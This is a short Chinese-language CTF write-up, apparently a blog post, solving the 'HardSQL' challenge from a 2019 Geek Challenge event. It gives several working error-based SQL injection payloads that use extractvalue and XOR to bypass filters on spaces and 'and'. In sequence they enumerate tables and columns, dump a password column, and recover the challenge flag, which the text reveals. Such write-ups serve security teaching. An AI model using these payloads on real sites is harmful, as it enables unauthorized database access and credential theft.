[极客大挑战 2019]HardSQL1
1、随便测试一下,发现报错信息,貌似存在注入
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414154606461-1351884606.png)
2
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414154707473-736592904.png)
3、测试时发现有过滤(空格、and),直接上构造后的payload
得思路: ^ + 报错注入
1'^extractvalue(1,concat(0x7e,(database())))#
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414155156734-229329803.png)
4、注入得数据表
payload:
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414161835417-604183640.png)
5、注入得列名
payload:
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414161944986-182981723.png)
6、爆数据
payload:
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414162057245-1243846232.png)
构造payload得后半段flag:
1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#
![](https://img2020.cnblogs.com/blog/1821718/202104/1821718-20210414162218748-1137156546.png)
拼接得到flag:
flag{41212178-55f0-4def-8e6a-a5zc609bb9217}